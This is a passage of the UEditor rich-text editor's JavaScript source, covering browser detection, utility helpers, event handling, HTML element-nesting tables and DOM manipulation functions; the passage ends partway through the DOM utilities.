!function () {
    UEDITOR_CONFIG = window.UEDITOR_CONFIG || {};
    var baidu = window.baidu || {};
    window.baidu = baidu, window.UE = baidu.editor = window.UE || {}, UE.plugins = {}, UE.commands = {}, UE.instants = {}, UE.I18N = {}, UE._customizeUI = {}, UE.version = "1.4.3", UE.promptAlert = function () {
    }, UE.showFormulaDialogue = function () {
    };
    var dom = UE.dom = {}, dom_key = "Q29weXJpZ2h0IOatpuaxieaAnee7tOi3s+i3g+enkeaKgOaciemZkOWFrOWPuCDniYjmnYPmiYDmnIk=",
        browser = UE.browser = function () {
            var e = navigator.userAgent.toLowerCase(), t = window.opera, i = {
                ie: /(msie\s|trident.*rv:)([\w.]+)/.test(e),
                opera: !!t && t.version,
                webkit: -1 < e.indexOf(" applewebkit/"),
                mac: -1 < e.indexOf("macintosh"),
                quirks: "BackCompat" == document.compatMode
            };
            i.gecko = "Gecko" == navigator.product && !i.webkit && !i.opera && !i.ie;
            var n = 0;
            if (i.ie) {
                var o = e.match(/(?:msie\s([\w.]+))/), r = e.match(/(?:trident.*rv:([\w.]+))/);
                n = o && r && o[1] && r[1] ? Math.max(+o[1], +r[1]) : o && o[1] ? +o[1] : r && r[1] ? +r[1] : 0, i.ie11Compat = 11 == document.documentMode, i.ie9Compat = 9 == document.documentMode, i.ie8 = !!document.documentMode, i.ie8Compat = 8 == document.documentMode, i.ie7Compat = 7 == n && !document.documentMode || 7 == document.documentMode, i.ie6Compat = n < 7 || i.quirks, i.ie9above = 8 < n, i.ie9below = n < 9, i.ie11above = 10 < n, i.ie11below = n < 11
            }
            if (i.gecko) {
                var a = e.match(/rv:([\d\.]+)/);
                a && (n = 1e4 * (a = a[1].split("."))[0] + 100 * (a[1] || 0) + +(a[2] || 0))
            }
            return /chrome\/(\d+\.\d)/i.test(e) && (i.chrome = +RegExp.$1), /(\d+\.\d)?(?:\.\d)?\s+safari\/?(\d+\.\d+)?/i.test(e) && !/chrome/i.test(e) && (i.safari = +(RegExp.$1 || RegExp.$2)), i.opera && (n = parseFloat(t.version())), i.webkit && (n = parseFloat(e.match(/ applewebkit\/(\d+)/)[1])), i.version = n, i.isCompatible = !i.mobile && (i.ie && 6 <= n || i.gecko && 10801 <= n || i.opera && 9.5 <= n || i.air && 1 <= n || i.webkit && 522 <= n || !1), i
        }(), ie = browser.ie, webkit = browser.webkit, gecko = browser.gecko, opera = browser.opera,
        utils = UE.utils = {
            each: function (e, t, i) {
                if (null != e) if (e.length === +e.length) {
                    for (var n = 0, o = e.length; n < o; n++) if (!1 === t.call(i, e[n], n, e)) return !1
                } else for (var r in e) if (e.hasOwnProperty(r) && !1 === t.call(i, e[r], r, e)) return !1
            },
            makeInstance: function (e) {
                var t = new Function;
                return t.prototype = e, e = new t, t.prototype = null, e
            },
            extend: function (e, t, i) {
                if (t) for (var n in t) i && e.hasOwnProperty(n) || (e[n] = t[n]);
                return e
            },
            extend2: function (e) {
                for (var t = arguments, i = 1; i < t.length; i++) {
                    var n = t[i];
                    for (var o in n) e.hasOwnProperty(o) || (e[o] = n[o])
                }
                return e
            },
            inherits: function (e, t) {
                var i = e.prototype, n = utils.makeInstance(t.prototype);
                return utils.extend(n, i, !0), (e.prototype = n).constructor = e
            },
            bind: function (e, t) {
                return function () {
                    return e.apply(t, arguments)
                }
            },
            defer: function (e, t, i) {
                var n;
                return function () {
                    i && clearTimeout(n), n = setTimeout(e, t)
                }
            },
            indexOf: function (e, i, n) {
                var o = -1;
                return n = this.isNumber(n) ? n : 0, this.each(e, function (e, t) {
                    if (n <= t && e === i) return o = t, !1
                }), o
            },
            removeItem: function (e, t) {
                for (var i = 0, n = e.length; i < n; i++) e[i] === t && (e.splice(i, 1), i--)
            },
            trim: function (e) {
                return e.replace(/(^[ \t\n\r]+)|([ \t\n\r]+$)/g, "")
            },
            listToMap: function (e) {
                if (!e) return {};
                e = utils.isArray(e) ? e : e.split(",");
                for (var t, i = 0, n = {}; t = e[i++];) n[t.toUpperCase()] = n[t] = 1;
                return n
            },
            unhtml: function (e, t) {
                return e ? e.replace(t || /[&<">'](?:(amp|lt|quot|gt|#39|nbsp|#\d+);)?/g, function (e, t) {
                    return t ? e : {"<": "&lt;", "&": "&amp;", '"': "&quot;", ">": "&gt;", "'": "&#39;"}[e]
                }) : ""
            },
            unhtmlForUrl: function (e, t) {
                return e ? e.replace(t || /[<">']/g, function (e) {
                    return {"<": "&lt;", "&": "&amp;", '"': "&quot;", ">": "&gt;", "'": "&#39;"}[e]
                }) : ""
            },
            html: function (e) {
                return e ? e.replace(/&((g|l|quo)t|amp|#39|nbsp);/g, function (e) {
                    return {"&lt;": "<", "&amp;": "&", "&quot;": '"', "&gt;": ">", "&#39;": "'", "&nbsp;": " "}[e]
                }) : ""
            },
            cssStyleToDomStyle: (ia = document.createElement("div").style, ja = {float: null != ia.cssFloat ? "cssFloat" : null != ia.styleFloat ? "styleFloat" : "float"}, function (e) {
                return ja[e] || (ja[e] = e.toLowerCase().replace(/-./g, function (e) {
                    return e.charAt(1).toUpperCase()
                }))
            }),
            loadFile: (ma = [], function (t, i, e) {
                var n = na(t, i);
                if (n) n.ready ? e && e() : n.funs.push(e); else if (ma.push({
                    doc: t,
                    url: i.src || i.href,
                    funs: [e]
                }), t.body) {
                    if (!i.id || !t.getElementById(i.id)) {
                        var o = t.createElement(i.tag);
                        for (var r in delete i.tag, i) o.setAttribute(r, i[r]);
                        o.onload = o.onreadystatechange = function () {
                            if (!this.readyState || /loaded|complete/.test(this.readyState)) {
                                if (0 < (n = na(t, i)).funs.length) {
                                    n.ready = 1;
                                    for (var e; e = n.funs.pop();) e()
                                }
                                o.onload = o.onreadystatechange = null
                            }
                        }, o.onerror = function () {
                            throw Error("The load " + (i.href || i.src) + " fails,check the url settings of file ueditor.config.js ")
                        }, t.getElementsByTagName("head")[0].appendChild(o)
                    }
                } else {
                    var a = [];
                    for (var r in i) "tag" != r && a.push(r + '="' + i[r] + '"');
                    t.write("<" + i.tag + " " + a.join(" ") + " ></" + i.tag + ">")
                }
            }),
            isEmptyObject: function (e) {
                if (null == e) return !0;
                if (this.isArray(e) || this.isString(e)) return 0 === e.length;
                for (var t in e) if (e.hasOwnProperty(t)) return !1;
                return !0
            },
            fixColor: function (e, t) {
                if (/color/i.test(e) && /rgba?/.test(t)) {
                    var i = t.split(",");
                    if (3 < i.length) return "";
                    t = "#";
                    for (var n, o = 0; n = i[o++];) t += 1 == (n = parseInt(n.replace(/[^\d]/gi, ""), 10).toString(16)).length ? "0" + n : n;
                    t = t.toUpperCase()
                }
                return t
            },
            optCss: function (e) {
                var o, r;

                function t(e, t) {
                    if (!e) return "";
                    var i = e.top, n = e.bottom, o = e.left, r = e.right, a = "";
                    if (i && o && n && r) a += ";" + t + ":" + (i == n && n == o && o == r ? i : i == n && o == r ? i + " " + o : o == r ? i + " " + o + " " + n : i + " " + r + " " + n + " " + o) + ";"; else for (var s in e) a += ";" + t + "-" + s + ":" + e[s] + ";";
                    return a
                }

                return e = e.replace(/(padding|margin|border)\-([^:]+):([^;]+);?/gi, function (e, t, i, n) {
                    if (1 == n.split(" ").length) switch (t) {
                        case"padding":
                            return (o = o || {})[i] = n, "";
                        case"margin":
                            return (r = r || {})[i] = n, "";
                        case"border":
                            return "initial" == n ? "" : e
                    }
                    return e
                }), (e += t(o, "padding") + t(r, "margin")).replace(/^[ \n\r\t;]*|[ \n\r\t]*$/, "").replace(/;([ \n\r\t]+)|\1;/g, ";").replace(/(&((l|g)t|quot|#39))?;{2,}/g, function (e, t) {
                    return t ? t + ";;" : ";"
                })
            },
            clone: function (e, t) {
                var i;
                for (var n in t = t || {}, e) e.hasOwnProperty(n) && ("object" == typeof (i = e[n]) ? (t[n] = utils.isArray(i) ? [] : {}, utils.clone(e[n], t[n])) : t[n] = i);
                return t
            },
            transUnitToPx: function (n) {
                if (!/(pt|cm)/.test(n)) return n;
                var o;
                switch (n.replace(/([\d.]+)(\w+)/, function (e, t, i) {
                    n = t, o = i
                }), o) {
                    case"cm":
                        n = 25 * parseFloat(n);
                        break;
                    case"pt":
                        n = Math.round(96 * parseFloat(n) / 72)
                }
                return n + (n ? "px" : "")
            },
            domReady: (ib = [], function (e, t) {
                var i = (t = t || window).document;
                e && ib.push(e), "complete" === i.readyState ? jb(i) : (i.isReady && jb(i), browser.ie && 11 != browser.version ? (function () {
                    if (!i.isReady) {
                        try {
                            i.documentElement.doScroll("left")
                        } catch (e) {
                            return setTimeout(arguments.callee, 0)
                        }
                        jb(i)
                    }
                }(), t.attachEvent("onload", function () {
                    jb(i)
                })) : (i.addEventListener("DOMContentLoaded", function () {
                    i.removeEventListener("DOMContentLoaded", arguments.callee, !1), jb(i)
                }, !1), t.addEventListener("load", function () {
                    jb(i)
                }, !1)))
            }),
            cssRule: browser.ie && 11 != browser.version ? function (e, t, i) {
                var n, o;
                return void 0 === t || t && t.nodeType && 9 == t.nodeType ? void 0 !== (o = (n = (i = t && t.nodeType && 9 == t.nodeType ? t : i || document).indexList || (i.indexList = {}))[e]) ? i.styleSheets[o].cssText : void 0 : (o = (n = (i = i || document).indexList || (i.indexList = {}))[e], "" === t ? void 0 !== o && (i.styleSheets[o].cssText = "", delete n[e], !0) : (void 0 !== o ? sheetStyle = i.styleSheets[o] : (sheetStyle = i.createStyleSheet("", o = i.styleSheets.length), n[e] = o), void (sheetStyle.cssText = t)))
            } : function (e, t, i) {
                var n;
                return void 0 === t || t && t.nodeType && 9 == t.nodeType ? (n = (i = t && t.nodeType && 9 == t.nodeType ? t : i || document).getElementById(e)) ? n.innerHTML : void 0 : (n = (i = i || document).getElementById(e), "" === t ? !!n && (n.parentNode.removeChild(n), !0) : void (n ? n.innerHTML = t : ((n = i.createElement("style")).id = e, n.innerHTML = t, i.getElementsByTagName("head")[0].appendChild(n))))
            },
            sort: function (e, t) {
                t = t || function (e, t) {
                    return e.localeCompare(t)
                };
                for (var i = 0, n = e.length; i < n; i++) for (var o = i, r = e.length; o < r; o++) if (0 < t(e[i], e[o])) {
                    var a = e[i];
                    e[i] = e[o], e[o] = a
                }
                return e
            },
            serializeParam: function (e) {
                var t = [];
                for (var i in e) if ("method" != i && "timeout" != i && "async" != i) if ("function" != (typeof e[i]).toLowerCase() && "object" != (typeof e[i]).toLowerCase()) t.push(encodeURIComponent(i) + "=" + encodeURIComponent(e[i])); else if (utils.isArray(e[i])) for (var n = 0; n < e[i].length; n++) t.push(encodeURIComponent(i) + "[]=" + encodeURIComponent(e[i][n]));
                return t.join("&")
            },
            formatUrl: function (e) {
                var t = e.replace(/&&/g, "&");
                return t = (t = (t = (t = t.replace(/\?&/g, "?")).replace(/&$/g, "")).replace(/&#/g, "#")).replace(/&+/g, "&")
            },
            isCrossDomainUrl: function (e) {
                var t = document.createElement("a");
                return t.href = e, browser.ie && (t.href = t.href), !(t.protocol == location.protocol && t.hostname == location.hostname && (t.port == location.port || "80" == t.port && "" == location.port || "" == t.port && "80" == location.port))
            },
            clearEmptyAttrs: function (e) {
                for (var t in e) "" === e[t] && delete e[t];
                return e
            },
            str2json: function (e) {
                return utils.isString(e) ? window.JSON ? JSON.parse(e) : new Function("return " + utils.trim(e || ""))() : null
            },
            json2str: function () {
                if (window.JSON) return JSON.stringify;
                var l = {"\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\"};

                function d(e) {
                    return e < 10 ? "0" + e : e
                }

                return function (e) {
                    switch (typeof e) {
                        case"undefined":
                            return "undefined";
                        case"number":
                            return isFinite(e) ? String(e) : "null";
                        case"string":
                            return /["\\\x00-\x1f]/.test(s = e) && (s = s.replace(/["\\\x00-\x1f]/g, function (e) {
                                var t = l[e];
                                return t || (t = e.charCodeAt(), "\\u00" + Math.floor(t / 16).toString(16) + (t % 16).toString(16))
                            })), '"' + s + '"';
                        case"boolean":
                            return String(e);
                        default:
                            if (null === e) return "null";
                            if (utils.isArray(e)) return function (e) {
                                var t, i, n, o = ["["], r = e.length;
                                for (i = 0; i < r; i++) switch (typeof (n = e[i])) {
                                    case"undefined":
                                    case"function":
                                    case"unknown":
                                        break;
                                    default:
                                        t && o.push(","), o.push(utils.json2str(n)), t = 1
                                }
                                return o.push("]"), o.join("")
                            }(e);
                            if (utils.isDate(e)) return '"' + (a = e).getFullYear() + "-" + d(a.getMonth() + 1) + "-" + d(a.getDate()) + "T" + d(a.getHours()) + ":" + d(a.getMinutes()) + ":" + d(a.getSeconds()) + '"';
                            var t, i, n = ["{"], o = utils.json2str;
                            for (var r in e) if (Object.prototype.hasOwnProperty.call(e, r)) switch (typeof (i = e[r])) {
                                case"undefined":
                                case"unknown":
                                case"function":
                                    break;
                                default:
                                    t && n.push(","), t = 1, n.push(o(r) + ":" + o(i))
                            }
                            return n.push("}"), n.join("")
                    }
                    var a, s
                }
            }()
        }, ib, ma, ia, ja;

    function jb(e) {
        e.isReady = !0;
        for (var t; t = ib.pop(); t()) ;
    }

    function na(e, t) {
        try {
            for (var i, n = 0; i = ma[n++];) if (i.doc === e && i.url == (t.src || t.href)) return i
        } catch (e) {
            return null
        }
    }

    utils.each(["String", "Function", "Array", "Number", "RegExp", "Object", "Date"], function (t) {
        UE.utils["is" + t] = function (e) {
            return Object.prototype.toString.apply(e) == "[object " + t + "]"
        }
    });
    var EventBase = UE.EventBase = function () {
    };

    function getListener(e, t, i) {
        var n;
        return t = t.toLowerCase(), (n = e.__allListeners || i && (e.__allListeners = {})) && (n[t] || i && (n[t] = []))
    }

    EventBase.prototype = {
        addListener: function (e, t) {
            e = utils.trim(e).split(/\s+/);
            for (var i, n = 0; i = e[n++];) getListener(this, i, !0).push(t)
        }, on: function (e, t) {
            return this.addListener(e, t)
        }, off: function (e, t) {
            return this.removeListener(e, t)
        }, trigger: function () {
            return this.fireEvent.apply(this, arguments)
        }, removeListener: function (e, t) {
            e = utils.trim(e).split(/\s+/);
            for (var i, n = 0; i = e[n++];) utils.removeItem(getListener(this, i) || [], t)
        }, fireEvent: function () {
            var e = arguments[0];
            e = utils.trim(e).split(" ");
            for (var t, i = 0; t = e[i++];) {
                var n, o, r, a = getListener(this, t);
                if (a) for (r = a.length; r--;) if (a[r]) {
                    if (!0 === (o = a[r].apply(this, arguments))) return o;
                    void 0 !== o && (n = o)
                }
                (o = this["on" + t.toLowerCase()]) && (n = o.apply(this, arguments))
            }
            return n
        }
    };
    var dtd = dom.dtd = (Oc = utils.extend2, Pc = Nc({isindex: 1, fieldset: 1}), Qc = Nc({
        input: 1,
        button: 1,
        select: 1,
        textarea: 1,
        label: 1
    }), Rc = Oc(Nc({a: 1}), Qc), Sc = Oc({iframe: 1}, Rc), Tc = Nc({
        hr: 1,
        ul: 1,
        menu: 1,
        div: 1,
        blockquote: 1,
        noscript: 1,
        table: 1,
        center: 1,
        address: 1,
        dir: 1,
        pre: 1,
        h5: 1,
        dl: 1,
        h4: 1,
        noframes: 1,
        h6: 1,
        ol: 1,
        h1: 1,
        h3: 1,
        h2: 1
    }), Uc = Nc({ins: 1, del: 1, script: 1, style: 1}), Vc = Oc(Nc({
        b: 1,
        acronym: 1,
        bdo: 1,
        var: 1,
        "#": 1,
        abbr: 1,
        code: 1,
        br: 1,
        i: 1,
        cite: 1,
        kbd: 1,
        u: 1,
        strike: 1,
        s: 1,
        tt: 1,
        strong: 1,
        q: 1,
        samp: 1,
        em: 1,
        dfn: 1,
        span: 1
    }), Uc), Wc = Oc(Nc({
        sub: 1,
        img: 1,
        embed: 1,
        object: 1,
        sup: 1,
        basefont: 1,
        map: 1,
        applet: 1,
        font: 1,
        big: 1,
        small: 1
    }), Vc), Xc = Oc(Nc({p: 1}), Wc), Yc = Oc(Nc({iframe: 1}), Wc, Qc), Zc = Nc({
        img: 1,
        embed: 1,
        noscript: 1,
        br: 1,
        kbd: 1,
        center: 1,
        button: 1,
        basefont: 1,
        h5: 1,
        h4: 1,
        samp: 1,
        h6: 1,
        ol: 1,
        h1: 1,
        h3: 1,
        h2: 1,
        form: 1,
        font: 1,
        "#": 1,
        select: 1,
        menu: 1,
        ins: 1,
        abbr: 1,
        label: 1,
        code: 1,
        table: 1,
        script: 1,
        cite: 1,
        input: 1,
        iframe: 1,
        strong: 1,
        textarea: 1,
        noframes: 1,
        big: 1,
        small: 1,
        span: 1,
        hr: 1,
        sub: 1,
        bdo: 1,
        var: 1,
        div: 1,
        object: 1,
        sup: 1,
        strike: 1,
        dir: 1,
        map: 1,
        dl: 1,
        applet: 1,
        del: 1,
        isindex: 1,
        fieldset: 1,
        ul: 1,
        b: 1,
        acronym: 1,
        a: 1,
        blockquote: 1,
        i: 1,
        u: 1,
        s: 1,
        tt: 1,
        address: 1,
        q: 1,
        pre: 1,
        p: 1,
        em: 1,
        dfn: 1
    }), $c = Oc(Nc({a: 0}), Yc), _c = Nc({tr: 1}), ad = Nc({"#": 1}), bd = Oc(Nc({param: 1}), Zc), cd = Oc(Nc({form: 1}), Pc, Sc, Tc, Xc), dd = Nc({
        li: 1,
        ol: 1,
        ul: 1
    }), ed = Nc({style: 1, script: 1}), fd = Nc({
        base: 1,
        link: 1,
        meta: 1,
        title: 1
    }), gd = Oc(fd, ed), hd = Nc({head: 1, body: 1}), id = Nc({html: 1}), jd = Nc({
        address: 1,
        blockquote: 1,
        center: 1,
        dir: 1,
        div: 1,
        dl: 1,
        fieldset: 1,
        form: 1,
        h1: 1,
        h2: 1,
        h3: 1,
        h4: 1,
        h5: 1,
        h6: 1,
        hr: 1,
        isindex: 1,
        menu: 1,
        noframes: 1,
        ol: 1,
        p: 1,
        pre: 1,
        table: 1,
        ul: 1
    }), kd = Nc({
        area: 1,
        base: 1,
        basefont: 1,
        br: 1,
        col: 1,
        command: 1,
        dialog: 1,
        embed: 1,
        hr: 1,
        img: 1,
        input: 1,
        isindex: 1,
        keygen: 1,
        link: 1,
        meta: 1,
        param: 1,
        source: 1,
        track: 1,
        wbr: 1
    }), Nc({
        $nonBodyContent: Oc(id, hd, fd),
        $block: jd,
        $inline: $c,
        $inlineWithA: Oc(Nc({a: 1}), $c),
        $body: Oc(Nc({script: 1, style: 1}), jd),
        $cdata: Nc({script: 1, style: 1}),
        $empty: kd,
        $nonChild: Nc({iframe: 1, textarea: 1}),
        $listItem: Nc({dd: 1, dt: 1, li: 1}),
        $list: Nc({ul: 1, ol: 1, dl: 1}),
        $isNotEmpty: Nc({
            table: 1,
            ul: 1,
            ol: 1,
            dl: 1,
            iframe: 1,
            area: 1,
            base: 1,
            col: 1,
            hr: 1,
            img: 1,
            embed: 1,
            input: 1,
            link: 1,
            meta: 1,
            param: 1,
            h1: 1,
            h2: 1,
            h3: 1,
            h4: 1,
            h5: 1,
            h6: 1
        }),
        $removeEmpty: Nc({
            a: 1,
            abbr: 1,
            acronym: 1,
            address: 1,
            b: 1,
            bdo: 1,
            big: 1,
            cite: 1,
            code: 1,
            del: 1,
            dfn: 1,
            em: 1,
            font: 1,
            i: 1,
            ins: 1,
            label: 1,
            kbd: 1,
            q: 1,
            s: 1,
            samp: 1,
            small: 1,
            span: 1,
            strike: 1,
            strong: 1,
            sub: 1,
            sup: 1,
            tt: 1,
            u: 1,
            var: 1
        }),
        $removeEmptyBlock: Nc({p: 1, div: 1}),
        $tableContent: Nc({
            caption: 1,
            col: 1,
            colgroup: 1,
            tbody: 1,
            td: 1,
            tfoot: 1,
            th: 1,
            thead: 1,
            tr: 1,
            table: 1
        }),
        $notTransContent: Nc({pre: 1, script: 1, style: 1, textarea: 1}),
        html: hd,
        head: gd,
        style: ad,
        script: ad,
        body: cd,
        base: {},
        link: {},
        meta: {},
        title: ad,
        col: {},
        tr: Nc({td: 1, th: 1}),
        img: {},
        embed: {},
        colgroup: Nc({thead: 1, col: 1, tbody: 1, tr: 1, tfoot: 1}),
        noscript: cd,
        td: cd,
        br: {},
        th: cd,
        center: cd,
        kbd: $c,
        button: Oc(Xc, Tc),
        basefont: {},
        h5: $c,
        h4: $c,
        samp: $c,
        h6: $c,
        ol: dd,
        h1: $c,
        h3: $c,
        option: ad,
        h2: $c,
        form: Oc(Pc, Sc, Tc, Xc),
        select: Nc({optgroup: 1, option: 1}),
        font: $c,
        ins: $c,
        menu: dd,
        abbr: $c,
        label: $c,
        table: Nc({thead: 1, col: 1, tbody: 1, tr: 1, colgroup: 1, caption: 1, tfoot: 1}),
        code: $c,
        tfoot: _c,
        cite: $c,
        li: cd,
        input: {},
        iframe: cd,
        strong: $c,
        textarea: ad,
        noframes: cd,
        big: $c,
        small: $c,
        span: Nc({"#": 1, br: 1, b: 1, strong: 1, u: 1, i: 1, em: 1, sub: 1, sup: 1, strike: 1, span: 1}),
        hr: $c,
        dt: $c,
        sub: $c,
        optgroup: Nc({option: 1}),
        param: {},
        bdo: $c,
        var: $c,
        div: cd,
        object: bd,
        sup: $c,
        dd: cd,
        strike: $c,
        area: {},
        dir: dd,
        map: Oc(Nc({area: 1, form: 1, p: 1}), Pc, Uc, Tc),
        applet: bd,
        dl: Nc({dt: 1, dd: 1}),
        del: $c,
        isindex: {},
        fieldset: Oc(Nc({legend: 1}), Zc),
        thead: _c,
        ul: dd,
        acronym: $c,
        b: $c,
        a: Oc(Nc({a: 1}), Yc),
        blockquote: Oc(Nc({td: 1, tr: 1, tbody: 1, li: 1}), cd),
        caption: $c,
        i: $c,
        u: $c,
        tbody: _c,
        s: $c,
        address: Oc(Sc, Xc),
        tt: $c,
        legend: $c,
        q: $c,
        pre: Oc(Vc, Rc),
        p: Oc(Nc({a: 1}), $c),
        em: $c,
        dfn: $c
    })), Oc, Pc, Qc, Rc, Sc, Tc, Uc, Vc, Wc, Xc, Yc, Zc, $c, _c, ad, bd, cd, dd, ed, fd, gd, hd, id, jd, kd;

    function Nc(e) {
        for (var t in e) e[t.toUpperCase()] = e[t];
        return e
    }

    function getDomNode(e, t, i, n, o, r) {
        var a, s = n && e[t];
        for (s = s || e[i]; !s && (a = (a || e).parentNode);) {
            if ("BODY" == a.tagName || r && !r(a)) return null;
            s = a[i]
        }
        return s && o && !o(s) ? getDomNode(s, t, i, !1, o) : s
    }

    var attrFix = ie && browser.version < 9 ? {
            tabindex: "tabIndex",
            readonly: "readOnly",
            for: "htmlFor",
            class: "className",
            maxlength: "maxLength",
            cellspacing: "cellSpacing",
            cellpadding: "cellPadding",
            rowspan: "rowSpan",
            colspan: "colSpan",
            usemap: "useMap",
            frameborder: "frameBorder"
        } : {tabindex: "tabIndex", readonly: "readOnly"},
        styleBlock = utils.listToMap(["-webkit-box", "-moz-box", "block", "list-item", "table", "table-row-group", "table-header-group", "table-footer-group", "table-row", "table-column-group", "table-column", "table-cell", "table-caption"]),
        domUtils = dom.domUtils = {
            NODE_ELEMENT: 1,
            NODE_DOCUMENT: 9,
            NODE_TEXT: 3,
            NODE_COMMENT: 8,
            NODE_DOCUMENT_FRAGMENT: 11,
            POSITION_IDENTICAL: 0,
            POSITION_DISCONNECTED: 1,
            POSITION_FOLLOWING: 2,
            POSITION_PRECEDING: 4,
            POSITION_IS_CONTAINED: 8,
            POSITION_CONTAINS: 16,
            fillChar: ie && "6" == browser.version ? "\ufeff" : "​",
            keys: {8: 1, 46: 1, 16: 1, 17: 1, 18: 1, 37: 1, 38: 1, 39: 1, 40: 1, 13: 1},
            getPosition: function (e, t) {
                if (e === t) return 0;
                var i, n = [e], o = [t];
                for (i = e; i = i.parentNode;) {
                    if (i === t) return 10;
                    n.push(i)
                }
                for (i = t; i = i.parentNode;) {
                    if (i === e) return 20;
                    o.push(i)
                }
                if (n.reverse(), o.reverse(), n[0] !== o[0]) return 1;
                for (var r = -1; n[++r] === o[r];) ;
                for (e = n[r], t = o[r]; e = e.nextSibling;) if (e === t) return 4;
                return 2
            },
            getNodeIndex: function (e, t) {
                for (var i = e, n = 0; i = i.previousSibling;) (!t || 3 != i.nodeType || i.nodeType != i.nextSibling.nodeType) && n++;
                return n
            },
            inDoc: function (e, t) {
                return 10 == domUtils.getPosition(e, t)
            },
            findParent: function (e, t, i) {
                if (e && !domUtils.isBody(e)) for (e = i ? e : e.parentNode; e;) {
                    if (!t || t(e) || domUtils.isBody(e)) return t && !t(e) && domUtils.isBody(e) ? null : e;
                    e = e.parentNode
                }
                return null
            },
            findParentByTagName: function (e, t, i, n) {
                return t = utils.listToMap(utils.isArray(t) ? t : [t]), domUtils.findParent(e, function (e) {
                    return t[e.tagName] && !(n && n(e))
                }, i)
            },
            findParents: function (e, t, i, n) {
                for (var o = t && (i && i(e) || !i) ? [e] : []; e = domUtils.findParent(e, i);) o.push(e);
                return n ? o : o.reverse()
            },
            insertAfter: function (e, t) {
                return e.nextSibling ? e.parentNode.insertBefore(t, e.nextSibling) : e.parentNode.appendChild(t)
            },
            remove: function (e, t) {
                var i, n = e.parentNode;
                if (n) {
                    if (t && e.hasChildNodes()) for (; i = e.firstChild;) n.insertBefore(i, e);
                    n.removeChild(e)
                }
                return e
            },
            getNextDomNode: function (e, t, i, n) {
                return getDomNode(e, "firstChild", "nextSibling", t, i, n)
            },
            getPreDomNode: function (e, t, i, n) {
                return getDomNode(e, "lastChild", "previousSibling", t, i, n)
            },
            isBookmarkNode: function (e) {
                return 1 == e.nodeType && e.id && /^_baidu_bookmark_/i.test(e.id)
            },
            getWindow: function (e) {
                var t = e.ownerDocument || e;
                return t.defaultView || t.parentWindow
            },
            getCommonAncestor: function (e, t) {
                if (e === t) return e;
                for (var i = [e], n = [t], o = e, r = -1; o = o.parentNode;) {
                    if (o === t) return o;
                    i.push(o)
                }
                for (o = t; o = o.parentNode;) {
                    if (o === e) return o;
                    n.push(o)
                }
                for (i.reverse(), n.reverse(); i[++r] === n[r];) ;
                return 0 == r ? null : i[r - 1]
            },
            clearEmptySibling: function (e, t, i) {
                function n(e, t) {
                    for (var i; e && !domUtils.isBookmarkNode(e) && (domUtils.isEmptyInlineElement(e) || !new RegExp("[^\t\n\r" + domUtils.fillChar + "]").test(e.nodeValue));) i = e[t], domUtils.remove(e), e = i
                }

                t || n(e.nextSibling, "nextSibling"), i || n(e.previousSibling, "previousSibling")
            },
            split: function (e, t) {
                var i = e.ownerDocument;
                if (browser.ie && t == e.nodeValue.length) {
                    var n = i.createTextNode("");
                    return domUtils.insertAfter(e, n)
                }
                var o = e.splitText(t);
                if (browser.ie8) {
                    var r = i.createTextNode("");
                    domUtils.insertAfter(o, r), domUtils.remove(r)
                }
                return o
            },
            isWhitespace: function (e) {
                return !new RegExp("[^ \t\n\r" + domUtils.fillChar + "]").test(e.nodeValue)
            },
            getXY: function (e) {
                for (var t = 0, i = 0; e.offsetParent;) i += e.offsetTop, t += e.offsetLeft, e = e.offsetParent;
                return {x: t, y: i}
            },
            on: function (e, t, i) {
                var n = utils.isArray(t) ? t : utils.trim(t).split(/\s+/), o = n.length;
                if (o) for (; o--;) if (t = n[o], e.addEventListener) e.addEventListener(t, i, !1); else {
                    i._d || (i._d = {els: []});
                    var r = t + i.toString(), a = utils.indexOf(i._d.els, e);
                    i._d[r] && -1 != a || (-1 == a && i._d.els.push(e), i._d[r] || (i._d[r] = function (e) {
                        return i.call(e.srcElement, e || window.event)
                    }), e.attachEvent("on" + t, i._d[r]))
                }
                e = null
            },
            un: function (e, t, i) {
                var n = utils.isArray(t) ? t : utils.trim(t).split(/\s+/), o = n.length;
                if (o) for (; o--;) if (t = n[o], e.removeEventListener) e.removeEventListener(t, i, !1); else {
                    var r = t + i.toString();
                    try {
                        e.detachEvent("on" + t, i._d ? i._d[r] : i)
                    } catch (e) {
                    }
                    if (i._d && i._d[r]) {
                        var a = utils.indexOf(i._d.els, e);
                        -1 != a && i._d.els.splice(a, 1), 0 == i._d.els.length && delete i._d[r]
                    }
                }
            },
            isSameElement: function (e, t) {
                if (e.tagName != t.tagName) return !1;
                var i = e.attributes, n = t.attributes;
                if (!ie && i.length != n.length) return !1;
                for (var o, r, a = 0, s = 0, l = 0; o = i[l++];) {
                    if ("style" == o.nodeName) {
                        if (o.specified && a++, domUtils.isSameStyle(e, t)) continue;
                        return !1
                    }
                    if (ie) {
                        if (!o.specified) continue;
                        a++, r = n.getNamedItem(o.nodeName)
                    } else r = t.attributes[o.nodeName];
                    if (!r.specified || o.nodeValue != r.nodeValue) return !1
                }
                if (ie) {
                    for (l = 0; r = n[l++];) r.specified && s++;
                    if (a != s) return !1
                }
                return !0
            },
            isSameStyle: function (e, t) {
                var i = e.style.cssText.replace(/( ?; ?)/g, ";").replace(/( ?: ?)/g, ":"),
                    n = t.style.cssText.replace(/( ?; ?)/g, ";").replace(/( ?: ?)/g, ":");
                if (browser.opera) {
                    if (i = e.style, n = t.style, i.length != n.length) return !1;
                    for (var o in i) if (!/^(\d+|csstext)$/i.test(o) && i[o] != n[o]) return !1;
                    return !0
                }
                if (!i || !n) return i == n;
                if (i = i.split(";"), n = n.split(";"), i.length != n.length) return !1;
                for (var r, a = 0; r = i[a++];) if (-1 == utils.indexOf(n, r)) return !1;
                return !0
            },
            isBlockElm: function (e) {
                return 1 == e.nodeType && (dtd.$block[e.tagName] || styleBlock[domUtils.getComputedStyle(e, "display")]) && !dtd.$nonChild[e.tagName]
            },
            isBody: function (e) {
                return e && 1 == e.nodeType && "body" == e.tagName.toLowerCase()
            },
            breakParent: function (e, t) {
                var i, n, o, r = e, a = e;
                do {
                    for (r = r.parentNode, o = n ? ((i = r.cloneNode(!1)).appendChild(n), n = i, (i = r.cloneNode(!1)).appendChild(o), i) : (n = r.cloneNode(!1)).cloneNode(!1); i = a.previousSibling;) n.insertBefore(i, n.firstChild);
                    for (; i = a.nextSibling;) o.appendChild(i);
                    a = r
                } while (t !== r);
                return (i = t.parentNode).insertBefore(n, t), i.insertBefore(o, t), i.insertBefore(e, o), domUtils.remove(t), e
            },
